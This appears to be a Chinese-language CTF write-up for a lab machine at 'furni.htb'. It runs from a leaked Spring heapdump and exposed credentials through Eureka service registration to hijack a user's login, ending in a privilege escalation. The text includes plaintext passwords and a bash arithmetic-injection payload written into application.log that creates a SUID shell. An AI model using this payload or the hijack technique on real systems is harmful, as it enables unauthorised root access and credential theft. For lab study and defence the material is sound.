信息收集

端口扫描

使用nmap进行端口探测,发现存在22、80、8761端口开放。

使用nmap探测具体协议。

发现是一台 Ubuntu 20.04 focal

web页面

访问web站点

发现serveices里面存在很多商品。

发现访问不存在的接口,发现存在spring的报错页面。

目录扫描

使用工具对其进行目录爆破。

发现存在heap dump泄露。

下载之后进行分析。

Heapdump分析

手动分析

使用vm虚拟机进行手动分析

JDumpSpider工具分析

使用自动化工具进行分析。

发现存在用户名和密码。

敏感信息泄露

jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}

使用netexec验证账号的可用性。

SSH登录

使用该用户名和密码进行登录。

内网信息收集

配置信息收集

使用ls-la查看网站目录。

枚举用户。

发现log_analyse.sh在运行。

流程分析

使用pspy进行枚举。查看所有可能正在运行的 cron 任务

发现一个进程以 miranda 身份登录

网络枚举

nginx 配置为端口 80 /etc/nginx/sites-enabled/default

获取所有文件。

使用grep语法来筛选有用的文件。

Web配置文件

./Furni/target/classes/application.properties具有与内存转储匹配的两组凭据:

应用程序配置文件分析

./cloud-gateway/target/classes/application.yaml,是一个 Docker Compose 文件

spring.application.name=Furni
spring.session.store-type=jdbc
spring.cloud.inetutils.ignoredInterfaces=enp0s.*
#Eureka
eureka.client.service-url.defaultZone= http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
#Mysql
spring.jpa.hibernate.ddl-auto=none
spring.datasource.url=jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.datasource.username=oscar190
spring.datasource.password=0sc@r190_S0l!dP@sswd
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.jpa.properties.hibernate.format_sql=true
#tomcat
server.address=localhost
server.port=8082
# Enable proxy support
server.forward-headers-strategy=native
#A
management.endpoints.web.exposure.include=*

漏洞利用

  1. 本地网络内部后端的两个服务,webservice和secretservice
  2. Spring Cloud Gateway(以下简称网关)配置为将所有 HTTP 请求路由到webservice
  3. 从网关到secretservice没有 HTTP 路由
  4. 注册中心eureka 服务器位于 DMZ 中(假设它被错误地暴露了)
  5. 并且用户/攻击者在互联网上。

攻击向量 1:服务器端请求伪造

攻击向量2:流量劫持和XSS

创建服务

攻击者能够劫持用户的流量,并将其重定向到攻击者的服务器。这正是我想要的。我打算注册一个名为“USER-MANAGEMENT-SERVICE”的应用程序,但它指向我的主机,并捕获miranda的登录请求。

POST /login HTTP/1.1
X-Real-IP: 
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OTE2ZmM2MTgtOTBhNi00YmQ1LWJhNDMtNjM1NzYzZDBjNjJl
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:49804"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=_2VS9FGdIM45joKtOWr5Zu_r7L_4zBxagVIGXGPBGZ_13ffNyFdhxDCsF_kUuLGaCUfNX9eKwd2d_Cl35TZgbVH0Lv7N68es

删除 Real App

接着使用burp拦截请求包

SSH登录

权限提升

脚本分析

#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count  
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi    

它将接收日志文件并输出到log_analysis.txt​

# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

运行 log_analyse.sh

命令执行漏洞

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}  

修改 application.log

poc修改

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

echo'HTTP Status: x[$(cp /bin/bash /tmp/test1; chmod 6777 /tmp/test1)]'> application.log

运行之后,成功获取root权限。

获取root权限